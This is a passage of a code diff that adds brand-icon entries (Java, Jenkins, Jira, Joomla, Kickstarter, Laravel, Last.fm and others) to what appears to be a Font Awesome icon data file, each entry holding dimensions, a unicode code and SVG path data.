116.1.5 110.8-1.2 118.5-2.1 9-7.6 15.8-14.9 19.6-8.3 4.6-23.4 6.6-31.4 5.2-21.4-4-28.9-28.7-14.4-42.9 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 5-5.7.9-127 2.6-133.7.4-2.6 1.5-4.8 3.5-6.4 2.1-1.7 5.8-2.7 6.7-2.7 101-19 113.3-21.4 115.1-21.4 5.7-.4 9 3 9 8.7-.1 170.6.4 161.4-1 167.6zM345.2 32H102.8C45.9 32 0 77.9 0 134.8v242.4C0 434.1 45.9 480 102.8 480h242.4c57 0 102.8-45.9 102.8-102.8V134.8C448 77.9 402.1 32 345.2 32zM223.6 444c-106.3 0-192.5-86.2-192.5-192.5S117.3 59 223.6 59s192.5 86.2 192.5 192.5S329.9 444 223.6 444z" ], + "itunes-note": [ 384, 512, [], "f3b5", "M381.9 388.2c-6.4 27.4-27.2 42.8-55.1 48-24.5 4.5-44.9 5.6-64.5-10.2-23.9-20.1-24.2-53.4-2.7-74.4 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 6.4-7.2 4.4-4.1 4.4-163.2 0-11.2-5.5-14.3-17-12.3-8.2 1.4-185.7 34.6-185.7 34.6-10.2 2.2-13.4 5.2-13.4 16.7 0 234.7 1.1 223.9-2.5 239.5-4.2 18.2-15.4 31.9-30.2 39.5-16.8 9.3-47.2 13.4-63.4 10.4-43.2-8.1-58.4-58-29.1-86.6 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 10.1-11.5 1.8-256.6 5.2-270.2.8-5.2 3-9.6 7.1-12.9 4.2-3.5 11.8-5.5 13.4-5.5 204-38.2 228.9-43.1 232.4-43.1 11.5-.8 18.1 6 18.1 17.6.2 344.5 1.1 326-1.8 338.5z" ], + java: [ 384, 512, [], "f4e4", "M277.74 312.9c9.8-6.7 23.4-12.5 23.4-12.5s-38.7 7-77.2 10.2c-47.1 3.9-97.7 4.7-123.1 1.3-60.1-8 33-30.1 33-30.1s-36.1-2.4-80.6 19c-52.5 25.4 130 37 224.5 12.1zm-85.4-32.1c-19-42.7-83.1-80.2 0-145.8C296 53.2 242.84 0 242.84 0c21.5 84.5-75.6 110.1-110.7 162.6-23.9 35.9 11.7 74.4 60.2 118.2zm114.6-176.2c.1 0-175.2 43.8-91.5 140.2 24.7 28.4-6.5 54-6.5 54s62.7-32.4 33.9-72.9c-26.9-37.8-47.5-56.6 64.1-121.3zm-6.1 270.5a12.19 12.19 0 0 1-2 2.6c128.3-33.7 81.1-118.9 19.8-97.3a17.33 17.33 0 0 0-8.2 6.3 70.45 70.45 0 0 1 11-3c31-6.5 75.5 41.5-20.6 91.4zM348 437.4s14.5 11.9-15.9 21.2c-57.9 17.5-240.8 22.8-291.6.7-18.3-7.9 16-19 26.8-21.3 11.2-2.4 17.7-2 17.7-2-20.3-14.3-131.3 28.1-56.4 40.2C232.84 509.4 401 461.3 348 437.4zM124.44 396c-78.7 22 47.9 67.4 148.1 24.5a185.89 185.89 0 0 1-28.2-13.8c-44.7 8.5-65.4 9.1-106 4.5-33.5-3.8-13.9-15.2-13.9-15.2zm179.8 97.2c-78.7 14.8-175.8 13.1-233.3 3.6 0-.1 11.8 9.7 72.4 13.6 92.2 5.9 233.8-3.3 237.1-46.9 0 0-6.4 16.5-76.2 29.7zM260.64 353c-59.2 11.4-93.5 11.1-136.8 6.6-33.5-3.5-11.6-19.7-11.6-19.7-86.8 28.8 48.2 61.4 169.5 25.9a60.37 60.37 0 0 1-21.1-12.8z" ], + "jedi-order": [ 448, 512, [], "f50e", "M398.5 373.6c95.9-122.1 17.2-233.1 17.2-233.1 45.4 85.8-41.4 170.5-41.4 170.5 105-171.5-60.5-271.5-60.5-271.5 96.9 72.7-10.1 190.7-10.1 190.7 85.8 158.4-68.6 230.1-68.6 230.1s-.4-16.9-2.2-85.7c4.3 4.5 34.5 36.2 34.5 36.2l-24.2-47.4 62.6-9.1-62.6-9.1 20.2-55.5-31.4 45.9c-2.2-87.7-7.8-305.1-7.9-306.9v-2.4 1-1 2.4c0 1-5.6 219-7.9 306.9l-31.4-45.9 20.2 55.5-62.6 9.1 62.6 9.1-24.2 47.4 34.5-36.2c-1.8 68.8-2.2 85.7-2.2 85.7s-154.4-71.7-68.6-230.1c0 0-107-118.1-10.1-190.7 0 0-165.5 99.9-60.5 271.5 0 0-86.8-84.8-41.4-170.5 0 0-78.7 111 17.2 233.1 0 0-26.2-16.1-49.4-77.7 0 0 16.9 183.3 222 185.7h4.1c205-2.4 222-185.7 222-185.7-23.6 61.5-49.9 77.7-49.9 77.7z" ], + jenkins: [ 512, 512, [], "f3b6", "M487.1 425c-1.4-11.2-19-23.1-28.2-31.9-5.1-5-29-23.1-30.4-29.9-1.4-6.6 9.7-21.5 13.3-28.9 5.1-10.7 8.8-23.7 11.3-32.6 18.8-66.1 20.7-156.9-6.2-211.2-10.2-20.6-38.6-49-56.4-62.5-42-31.7-119.6-35.3-170.1-16.6-14.1 5.2-27.8 9.8-40.1 17.1-33.1 19.4-68.3 32.5-78.1 71.6-24.2 10.8-31.5 41.8-30.3 77.8.2 7 4.1 15.8 2.7 22.4-.7 3.3-5.2 7.6-6.1 9.8-11.6 27.7-2.3 64 11.1 83.7 8.1 11.9 21.5 22.4 39.2 25.2.7 10.6 3.3 19.7 8.2 30.4 3.1 6.8 14.7 19 10.4 27.7-2.2 4.4-21 13.8-27.3 17.6C89 407.2 73.7 415 54.2 429c-12.6 9-32.3 10.2-29.2 31.1 2.1 14.1 10.1 31.6 14.7 45.8.7 2 1.4 4.1 2.1 6h422c4.9-15.3 9.7-30.9 14.6-47.2 3.4-11.4 10.2-27.8 8.7-39.7zM205.9 33.7c1.8-.5 3.4.7 4.9 2.4-.2 5.2-5.4 5.1-8.9 6.8-5.4 6.7-13.4 9.8-20 17.2-6.8 7.5-14.4 27.7-23.4 30-4.5 1.1-9.7-.8-13.6-.5-10.4.7-17.7 6-28.3 7.5 13.6-29.9 56.1-54 89.3-63.4zm-104.8 93.6c13.5-14.9 32.1-24.1 54.8-25.9 11.7 29.7-8.4 65-.9 97.6 2.3 9.9 10.2 25.4-2.4 25.7.3-28.3-34.8-46.3-61.3-29.6-1.8-21.5-4.9-51.7 9.8-67.8zm36.7 200.2c-1-4.1-2.7-12.9-2.3-15.1 1.6-8.7 17.1-12.5 11-24.7-11.3-.1-13.8 10.2-24.1 11.3-26.7 2.6-45.6-35.4-44.4-58.4 1-19.5 17.6-38.2 40.1-35.8 16 1.8 21.4 19.2 24.5 34.7 9.2.5 22.5-.4 26.9-7.6-.6-17.5-8.8-31.6-8.2-47.7 1-30.3 17.5-57.6 4.8-87.4 13.6-30.9 53.5-55.3 83.1-70 36.6-18.3 94.9-3.7 129.3 15.8 19.7 11.1 34.4 32.7 48.3 50.7-19.5-5.8-36.1 4.2-33.1 20.3 16.3-14.9 44.2-.2 52.5 16.4 7.9 15.8 7.8 39.3 9 62.8 2.9 57-10.4 115.9-39.1 157.1-7.7 11-14.1 23-24.9 30.6-26 18.2-65.4 34.7-99.2 23.4-44.7-15-65-44.8-89.5-78.8.7 18.7 13.8 34.1 26.8 48.4 11.3 12.5 25 26.6 39.7 32.4-12.3-2.9-31.1-3.8-36.2 7.2-28.6-1.9-55.1-4.8-68.7-24.2-10.6-15.4-21.4-41.4-26.3-61.4zm222 124.1c4.1-3 11.1-2.9 17.4-3.6-5.4-2.7-13-3.7-19.3-2.2-.1-4.2-2-6.8-3.2-10.2 10.6-3.8 35.5-28.5 49.6-20.3 6.7 3.9 9.5 26.2 10.1 37 .4 9-.8 18-4.5 22.8-18.8-.6-35.8-2.8-50.7-7 .9-6.1-1-12.1.6-16.5zm-17.2-20c-16.8.8-26-1.2-38.3-10.8.2-.8 1.4-.5 1.5-1.4 18 8 40.8-3.3 59-4.9-7.9 5.1-14.6 11.6-22.2 17.1zm-12.1 33.2c-1.6-9.4-3.5-12-2.8-20.2 25-16.6 29.7 28.6 2.8 20.2zM226 438.6c-11.6-.7-48.1-14-38.5-23.7 9.4 6.5 27.5 4.9 41.3 7.3.8 4.4-2.8 10.2-2.8 16.4zM57.7 497.1c-4.3-12.7-9.2-25.1-14.8-36.9 30.8-23.8 65.3-48.9 102.2-63.5 2.8-1.1 23.2 25.4 26.2 27.6 16.5 11.7 37 21 56.2 30.2 1.2 8.8 3.9 20.2 8.7 35.5.7 2.3 1.4 4.7 2.2 7.2H57.7zm240.6 5.7h-.8c.3-.2.5-.4.8-.5v.5zm7.5-5.7c2.1-1.4 4.3-2.8 6.4-4.3 1.1 1.4 2.2 2.8 3.2 4.3h-9.6zm15.1-24.7c-10.8 7.3-20.6 18.3-33.3 25.2-6 3.3-27 11.7-33.4 10.2-3.6-.8-3.9-5.3-5.4-9.5-3.1-9-10.1-23.4-10.8-37-.8-17.2-2.5-46 16-42.4 14.9 2.9 32.3 9.7 43.9 16.1 7.1 3.9 11.1 8.6 21.9 9.5-.1 1.4-.1 2.8-.2 4.3-5.9 3.9-15.3 3.8-21.8 7.1 9.5.4 17 2.7 23.5 5.9-.1 3.4-.3 7-.4 10.6zm53.4 24.7h-14c-.1-3.2-2.8-5.8-6.1-5.8s-5.9 2.6-6.1 5.8h-17.4c-2.8-4.4-5.7-8.6-8.9-12.5 2.1-2.2 4-4.7 6-6.9 9 3.7 14.8-4.9 21.7-4.2 7.9.8 14.2 11.7 25.4 11l-.6 12.6zm8.7 0c.2-4 .4-7.8.6-11.5 15.6-7.3 29 1.3 35.7 11.5H383zm83.4-37c-2.3 11.2-5.8 24-9.9 37.1-.2-.1-.4-.1-.6-.1H428c.6-1.1 1.2-2.2 1.9-3.3-2.6-6.1-9-8.7-10.9-15.5 12.1-22.7 6.5-93.4-24.2-78.5 4.3-6.3 15.6-11.5 20.8-19.3 13 10.4 20.8 20.3 33.2 31.4 6.8 6 20 13.3 21.4 23.1.8 5.5-2.6 18.9-3.8 25.1zM222.2 130.5c5.4-14.9 27.2-34.7 45-32 7.7 1.2 18 8.2 12.2 17.7-30.2-7-45.2 12.6-54.4 33.1-8.1-2-4.9-13.1-2.8-18.8zm184.1 63.1c8.2-3.6 22.4-.7 29.6-5.3-4.2-11.5-10.3-21.4-9.3-37.7.5 0 1 0 1.4.1 6.8 14.2 12.7 29.2 21.4 41.7-5.7 13.5-43.6 25.4-43.1 1.2zm20.4-43zm-117.2 45.7c-6.8-10.9-19-32.5-14.5-45.3 6.5 11.9 8.6 24.4 17.8 33.3 4.1 4 12.2 9 8.2 20.2-.9 2.7-7.8 8.6-11.7 9.7-14.4 4.3-47.9.9-36.6-17.1 11.9.7 27.9 7.8 36.8-.8zm27.3 70c3.8 6.6 1.4 18.7 12.1 20.6 20.2 3.4 43.6-12.3 58.1-17.8 9-15.2-.8-20.7-8.9-30.5-16.6-20-38.8-44.8-38-74.7 6.7-4.9 7.3 7.4 8.2 9.7 8.7 20.3 30.4 46.2 46.3 63.5 3.9 4.3 10.3 8.4 11 11.2 2.1 8.2-5.4 18-4.5 23.5-21.7 13.9-45.8 29.1-81.4 25.6-7.4-6.7-10.3-21.4-2.9-31.1zm-201.3-9.2c-6.8-3.9-8.4-21-16.4-21.4-11.4-.7-9.3 22.2-9.3 35.5-7.8-7.1-9.2-29.1-3.5-40.3-6.6-3.2-9.5 3.6-13.1 5.9 4.7-34.1 49.8-15.8 42.3 20.3zm299.6 28.8c-10.1 19.2-24.4 40.4-54 41-.6-6.2-1.1-15.6 0-19.4 22.7-2.2 36.6-13.7 54-21.6zm-141.9 12.4c18.9 9.9 53.6 11 79.3 10.2 1.4 5.6 1.3 12.6 1.4 19.4-33 1.8-72-6.4-80.7-29.6zm92.2 46.7c-1.7 4.3-5.3 9.3-9.8 11.1-12.1 4.9-45.6 8.7-62.4-.3-10.7-5.7-17.5-18.5-23.4-26-2.8-3.6-16.9-12.9-.2-12.9 13.1 32.7 58 29 95.8 28.1z" ], + jira: [ 496, 512, [], "f7b1", "M490 241.7C417.1 169 320.6 71.8 248.5 0 83 164.9 6 241.7 6 241.7c-7.9 7.9-7.9 20.7 0 28.7C138.8 402.7 67.8 331.9 248.5 512c379.4-378 15.7-16.7 241.5-241.7 8-7.9 8-20.7 0-28.6zm-241.5 90l-76-75.7 76-75.7 76 75.7-76 75.7z" ], + joget: [ 496, 512, [], "f3b7", "M378.1 45C337.6 19.9 292.6 8 248.2 8 165 8 83.8 49.9 36.9 125.9c-71.9 116.6-35.6 269.3 81 341.2s269.3 35.6 341.2-80.9c71.9-116.6 35.6-269.4-81-341.2zm51.8 323.2c-40.4 65.5-110.4 101.5-182 101.5-6.8 0-13.6-.4-20.4-1-9-13.6-19.9-33.3-23.7-42.4-5.7-13.7-27.2-45.6 31.2-67.1 51.7-19.1 176.7-16.5 208.8-17.6-4 9-8.6 17.9-13.9 26.6zm-200.8-86.3c-55.5-1.4-81.7-20.8-58.5-48.2s51.1-40.7 68.9-51.2c17.9-10.5 27.3-33.7-23.6-29.7C87.3 161.5 48.6 252.1 37.6 293c-8.8-49.7-.1-102.7 28.5-149.1C128 43.4 259.6 12.2 360.1 74.1c74.8 46.1 111.2 130.9 99.3 212.7-24.9-.5-179.3-3.6-230.3-4.9zm183.8-54.8c-22.7-6-57 11.3-86.7 27.2-29.7 15.8-31.1 8.2-31.1 8.2s40.2-28.1 50.7-34.5 31.9-14 13.4-24.6c-3.2-1.8-6.7-2.7-10.4-2.7-17.8 0-41.5 18.7-67.5 35.6-31.5 20.5-65.3 31.3-65.3 31.3l169.5-1.6 46.5-23.4s3.6-9.5-19.1-15.5z" ], + joomla: [ 448, 512, [], "f1aa", "M.6 92.1C.6 58.8 27.4 32 60.4 32c30 0 54.5 21.9 59.2 50.2 32.6-7.6 67.1.6 96.5 30l-44.3 44.3c-20.5-20.5-42.6-16.3-55.4-3.5-14.3 14.3-14.3 37.9 0 52.2l99.5 99.5-44 44.3c-87.7-87.2-49.7-49.7-99.8-99.7-26.8-26.5-35-64.8-24.8-98.9C20.4 144.6.6 120.7.6 92.1zm129.5 116.4l44.3 44.3c10-10 89.7-89.7 99.7-99.8 14.3-14.3 37.6-14.3 51.9 0 12.8 12.8 17 35-3.5 55.4l44 44.3c31.2-31.2 38.5-67.6 28.9-101.2 29.2-4.1 51.9-29.2 51.9-59.5 0-33.2-26.8-60.1-59.8-60.1-30.3 0-55.4 22.5-59.5 51.6-33.8-9.9-71.7-1.5-98.3 25.1-18.3 19.1-71.1 71.5-99.6 99.9zm266.3 152.2c8.2-32.7-.9-68.5-26.3-93.9-11.8-12.2 5 4.7-99.5-99.7l-44.3 44.3 99.7 99.7c14.3 14.3 14.3 37.6 0 51.9-12.8 12.8-35 17-55.4-3.5l-44 44.3c27.6 30.2 68 38.8 102.7 28 5.5 27.4 29.7 48.1 58.9 48.1 33 0 59.8-26.8 59.8-60.1 0-30.2-22.5-55-51.6-59.1zm-84.3-53.1l-44-44.3c-87 86.4-50.4 50.4-99.7 99.8-14.3 14.3-37.6 14.3-51.9 0-13.1-13.4-16.9-35.3 3.2-55.4l-44-44.3c-30.2 30.2-38 65.2-29.5 98.3-26.7 6-46.2 29.9-46.2 58.2C0 453.2 26.8 480 59.8 480c28.6 0 52.5-19.8 58.6-46.7 32.7 8.2 68.5-.6 94.2-26 32.1-32 12.2-12.4 99.5-99.7z" ], + js: [ 448, 512, [], "f3b8", "M0 32v448h448V32H0zm243.8 349.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z" ], + "js-square": [ 448, 512, [], "f3b9", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM243.8 381.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z" ], + jsfiddle: [ 576, 512, [], "f1cc", "M510.634 237.462c-4.727-2.621-5.664-5.748-6.381-10.776-2.352-16.488-3.539-33.619-9.097-49.095-35.895-99.957-153.99-143.386-246.849-91.646-27.37 15.25-48.971 36.369-65.493 63.903-3.184-1.508-5.458-2.71-7.824-3.686-30.102-12.421-59.049-10.121-85.331 9.167-25.531 18.737-36.422 44.548-32.676 76.408.355 3.025-1.967 7.621-4.514 9.545-39.712 29.992-56.031 78.065-41.902 124.615 13.831 45.569 57.514 79.796 105.608 81.433 30.291 1.031 60.637.546 90.959.539 84.041-.021 168.09.531 252.12-.48 52.664-.634 96.108-36.873 108.212-87.293 11.54-48.074-11.144-97.3-56.832-122.634zm21.107 156.88c-18.23 22.432-42.343 35.253-71.28 35.65-56.874.781-113.767.23-170.652.23 0 .7-163.028.159-163.728.154-43.861-.332-76.739-19.766-95.175-59.995-18.902-41.245-4.004-90.848 34.186-116.106 9.182-6.073 12.505-11.566 10.096-23.136-5.49-26.361 4.453-47.956 26.42-62.981 22.987-15.723 47.422-16.146 72.034-3.083 10.269 5.45 14.607 11.564 22.198-2.527 14.222-26.399 34.557-46.727 60.671-61.294 97.46-54.366 228.37 7.568 230.24 132.697.122 8.15 2.412 12.428 9.848 15.894 57.56 26.829 74.456 96.122 35.142 144.497zm-87.789-80.499c-5.848 31.157-34.622 55.096-66.666 55.095-16.953-.001-32.058-6.545-44.079-17.705-27.697-25.713-71.141-74.98-95.937-93.387-20.056-14.888-41.99-12.333-60.272 3.782-49.996 44.071 15.859 121.775 67.063 77.188 4.548-3.96 7.84-9.543 12.744-12.844 8.184-5.509 20.766-.884 13.168 10.622-17.358 26.284-49.33 38.197-78.863 29.301-28.897-8.704-48.84-35.968-48.626-70.179 1.225-22.485 12.364-43.06 35.414-55.965 22.575-12.638 46.369-13.146 66.991 2.474C295.68 280.7 320.467 323.97 352.185 343.47c24.558 15.099 54.254 7.363 68.823-17.506 28.83-49.209-34.592-105.016-78.868-63.46-3.989 3.744-6.917 8.932-11.41 11.72-10.975 6.811-17.333-4.113-12.809-10.353 20.703-28.554 50.464-40.44 83.271-28.214 31.429 11.714 49.108 44.366 42.76 78.186z" ], + kaggle: [ 320, 512, [], "f5fa", "M304.2 501.5L158.4 320.3 298.2 185c2.6-2.7 1.7-10.5-5.3-10.5h-69.2c-3.5 0-7 1.8-10.5 5.3L80.9 313.5V7.5q0-7.5-7.5-7.5H21.5Q14 0 14 7.5v497q0 7.5 7.5 7.5h51.9q7.5 0 7.5-7.5v-109l30.8-29.3 110.5 140.6c3 3.5 6.5 5.3 10.5 5.3h66.9q5.25 0 6-3z" ], + keybase: [ 448, 512, [], "f4f5", "M286.17 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18zm111.92-147.6c-9.5-14.62-39.37-52.45-87.26-73.71q-9.1-4.06-18.38-7.27a78.43 78.43 0 0 0-47.88-104.13c-12.41-4.1-23.33-6-32.41-5.77-.6-2-1.89-11 9.4-35L198.66 32l-5.48 7.56c-8.69 12.06-16.92 23.55-24.34 34.89a51 51 0 0 0-8.29-1.25c-41.53-2.45-39-2.33-41.06-2.33-50.61 0-50.75 52.12-50.75 45.88l-2.36 36.68c-1.61 27 19.75 50.21 47.63 51.85l8.93.54a214 214 0 0 0-46.29 35.54C14 304.66 14 374 14 429.77v33.64l23.32-29.8a148.6 148.6 0 0 0 14.56 37.56c5.78 10.13 14.87 9.45 19.64 7.33 4.21-1.87 10-6.92 3.75-20.11a178.29 178.29 0 0 1-15.76-53.13l46.82-59.83-24.66 74.11c58.23-42.4 157.38-61.76 236.25-38.59 34.2 10.05 67.45.69 84.74-23.84.72-1 1.2-2.16 1.85-3.22a156.09 156.09 0 0 1 2.8 28.43c0 23.3-3.69 52.93-14.88 81.64-2.52 6.46 1.76 14.5 8.6 15.74 7.42 1.57 15.33-3.1 18.37-11.15C429 443 434 414 434 382.32c0-38.58-13-77.46-35.91-110.92zM142.37 128.58l-15.7-.93-1.39 21.79 13.13.78a93 93 0 0 0 .32 19.57l-22.38-1.34a12.28 12.28 0 0 1-11.76-12.79L107 119c1-12.17 13.87-11.27 13.26-11.32l29.11 1.73a144.35 144.35 0 0 0-7 19.17zm148.42 172.18a10.51 10.51 0 0 1-14.35-1.39l-9.68-11.49-34.42 27a8.09 8.09 0 0 1-11.13-1.08l-15.78-18.64a7.38 7.38 0 0 1 1.34-10.34l34.57-27.18-14.14-16.74-17.09 13.45a7.75 7.75 0 0 1-10.59-1s-3.72-4.42-3.8-4.53a7.38 7.38 0 0 1 1.37-10.34L214 225.19s-18.51-22-18.6-22.14a9.56 9.56 0 0 1 1.74-13.42 10.38 10.38 0 0 1 14.3 1.37l81.09 96.32a9.58 9.58 0 0 1-1.74 13.44zM187.44 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18z" ], + keycdn: [ 512, 512, [], "f3ba", "M63.8 409.3l60.5-59c32.1 42.8 71.1 66 126.6 67.4 30.5.7 60.3-7 86.4-22.4 5.1 5.3 18.5 19.5 20.9 22-32.2 20.7-69.6 31.1-108.1 30.2-43.3-1.1-84.6-16.7-117.7-44.4.3-.6-38.2 37.5-38.6 37.9 9.5 29.8-13.1 62.4-46.3 62.4C20.7 503.3 0 481.7 0 454.9c0-34.3 33.1-56.6 63.8-45.6zm354.9-252.4c19.1 31.3 29.6 67.4 28.7 104-1.1 44.8-19 87.5-48.6 121 .3.3 23.8 25.2 24.1 25.5 9.6-1.3 19.2 2 25.9 9.1 11.3 12 10.9 30.9-1.1 42.4-12 11.3-30.9 10.9-42.4-1.1-6.7-7-9.4-16.8-7.6-26.3-24.9-26.6-44.4-47.2-44.4-47.2 42.7-34.1 63.3-79.6 64.4-124.2.7-28.9-7.2-57.2-21.1-82.2l22.1-21zM104 53.1c6.7 7 9.4 16.8 7.6 26.3l45.9 48.1c-4.7 3.8-13.3 10.4-22.8 21.3-25.4 28.5-39.6 64.8-40.7 102.9-.7 28.9 6.1 57.2 20 82.4l-22 21.5C72.7 324 63.1 287.9 64.2 250.9c1-44.6 18.3-87.6 47.5-121.1l-25.3-26.4c-9.6 1.3-19.2-2-25.9-9.1-11.3-12-10.9-30.9 1.1-42.4C73.5 40.7 92.2 41 104 53.1zM464.9 8c26 0 47.1 22.4 47.1 48.3S490.9 104 464.9 104c-6.3.1-14-1.1-15.9-1.8l-62.9 59.7c-32.7-43.6-76.7-65.9-126.9-67.2-30.5-.7-60.3 6.8-86.2 22.4l-21.1-22C184.1 74.3 221.5 64 260 64.9c43.3 1.1 84.6 16.7 117.7 44.6l41.1-38.6c-1.5-4.7-2.2-9.6-2.2-14.5C416.5 29.7 438.9 8 464.9 8zM256.7 113.4c5.5 0 10.9.4 16.4 1.1 78.1 9.8 133.4 81.1 123.8 159.1-9.8 78.1-81.1 133.4-159.1 123.8-78.1-9.8-133.4-81.1-123.8-159.2 9.3-72.4 70.1-124.6 142.7-124.8zm-59 119.4c.6 22.7 12.2 41.8 32.4 52.2l-11 51.7h73.7l-11-51.7c20.1-10.9 32.1-29 32.4-52.2-.4-32.8-25.8-57.5-58.3-58.3-32.1.8-57.3 24.8-58.2 58.3zM256 160" ], + kickstarter: [ 448, 512, [], "f3bb", "M400 480H48c-26.4 0-48-21.6-48-48V80c0-26.4 21.6-48 48-48h352c26.4 0 48 21.6 48 48v352c0 26.4-21.6 48-48 48zM199.6 178.5c0-30.7-17.6-45.1-39.7-45.1-25.8 0-40 19.8-40 44.5v154.8c0 25.8 13.7 45.6 40.5 45.6 21.5 0 39.2-14 39.2-45.6v-41.8l60.6 75.7c12.3 14.9 39 16.8 55.8 0 14.6-15.1 14.8-36.8 4-50.4l-49.1-62.8 40.5-58.7c9.4-13.5 9.5-34.5-5.6-49.1-16.4-15.9-44.6-17.3-61.4 7l-44.8 64.7v-38.8z" ], + "kickstarter-k": [ 384, 512, [], "f3bc", "M147.3 114.4c0-56.2-32.5-82.4-73.4-82.4C26.2 32 0 68.2 0 113.4v283c0 47.3 25.3 83.4 74.9 83.4 39.8 0 72.4-25.6 72.4-83.4v-76.5l112.1 138.3c22.7 27.2 72.1 30.7 103.2 0 27-27.6 27.3-67.4 7.4-92.2l-90.8-114.8 74.9-107.4c17.4-24.7 17.5-63.1-10.4-89.8-30.3-29-82.4-31.6-113.6 12.8L147.3 185v-70.6z" ], + korvue: [ 446, 512, [], "f42f", "M386.5 34h-327C26.8 34 0 60.8 0 93.5v327.1C0 453.2 26.8 480 59.5 480h327.1c33 0 59.5-26.8 59.5-59.5v-327C446 60.8 419.2 34 386.5 34zM87.1 120.8h96v116l61.8-116h110.9l-81.2 132H87.1v-132zm161.8 272.1l-65.7-113.6v113.6h-96V262.1h191.5l88.6 130.8H248.9z" ], + laravel: [ 512, 512, [], "f3bd", "M504.4,115.83a5.72,5.72,0,0,0-.28-.68,8.52,8.52,0,0,0-.53-1.25,6,6,0,0,0-.54-.71,9.36,9.36,0,0,0-.72-.94c-.23-.22-.52-.4-.77-.6a8.84,8.84,0,0,0-.9-.68L404.4,55.55a8,8,0,0,0-8,0L300.12,111h0a8.07,8.07,0,0,0-.88.69,7.68,7.68,0,0,0-.78.6,8.23,8.23,0,0,0-.72.93c-.17.24-.39.45-.54.71a9.7,9.7,0,0,0-.52,1.25c-.08.23-.21.44-.28.68a8.08,8.08,0,0,0-.28,2.08V223.18l-80.22,46.19V63.44a7.8,7.8,0,0,0-.28-2.09c-.06-.24-.2-.45-.28-.68a8.35,8.35,0,0,0-.52-1.24c-.14-.26-.37-.47-.54-.72a9.36,9.36,0,0,0-.72-.94,9.46,9.46,0,0,0-.78-.6,9.8,9.8,0,0,0-.88-.68h0L115.61,1.07a8,8,0,0,0-8,0L11.34,56.49h0a6.52,6.52,0,0,0-.88.69,7.81,7.81,0,0,0-.79.6,8.15,8.15,0,0,0-.71.93c-.18.25-.4.46-.55.72a7.88,7.88,0,0,0-.51,1.24,6.46,6.46,0,0,0-.29.67,8.18,8.18,0,0,0-.28,2.1v329.7a8,8,0,0,0,4,6.95l192.5,110.84a8.83,8.83,0,0,0,1.33.54c.21.08.41.2.63.26a7.92,7.92,0,0,0,4.1,0c.2-.05.37-.16.55-.22a8.6,8.6,0,0,0,1.4-.58L404.4,400.09a8,8,0,0,0,4-6.95V287.88l92.24-53.11a8,8,0,0,0,4-7V117.92A8.63,8.63,0,0,0,504.4,115.83ZM111.6,17.28h0l80.19,46.15-80.2,46.18L31.41,63.44Zm88.25,60V278.6l-46.53,26.79-33.69,19.4V123.5l46.53-26.79Zm0,412.78L23.37,388.5V77.32L57.06,96.7l46.52,26.8V338.68a6.94,6.94,0,0,0,.12.9,8,8,0,0,0,.16,1.18h0a5.92,5.92,0,0,0,.38.9,6.38,6.38,0,0,0,.42,1v0a8.54,8.54,0,0,0,.6.78,7.62,7.62,0,0,0,.66.84l0,0c.23.22.52.38.77.58a8.93,8.93,0,0,0,.86.66l0,0,0,0,92.19,52.18Zm8-106.17-80.06-45.32,84.09-48.41,92.26-53.11,80.13,46.13-58.8,33.56Zm184.52,4.57L215.88,490.11V397.8L346.6,323.2l45.77-26.15Zm0-119.13L358.68,250l-46.53-26.79V131.79l33.69,19.4L392.37,178Zm8-105.28-80.2-46.17,80.2-46.16,80.18,46.15Zm8,105.28V178L455,151.19l33.68-19.4v91.39h0Z" ], + lastfm: [ 512, 512, [], "f202", "M225.8 367.1l-18.8-51s-30.5 34-76.2 34c-40.5 0-69.2-35.2-69.2-91.5 0-72.1 36.4-97.9 72.1-97.9 66.5 0 74.8 53.3 100.9 134.9 18.8 56.9 54 102.6 155.4 102.6 72.7 0 122-22.3 122-80.9 0-72.9-62.7-80.6-115-92.1-25.8-5.9-33.4-16.4-33.4-34 0-19.9 15.8-31.7 41.6-31.7 28.2 0 43.4 10.6 45.7 35.8l58.6-7c-4.7-52.8-41.1-74.5-100.9-74.5-52.8 0-104.4 19.9-104.4 83.9 0 39.9 19.4 65.1 68 76.8 44.9 10.6 79.8 13.8 79.8 45.7 0 21.7-21.1 30.5-61 30.5-59.2 0-83.9-31.1-97.9-73.9-32-96.8-43.6-163-161.3-163C45.7 113.8 0 168.3 0 261c0 89.1 45.7 137.2 127.9 137.2 66.2 0 97.9-31.1 97.9-31.1z" ], + "lastfm-square": [ 448, 512, [], "f203", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 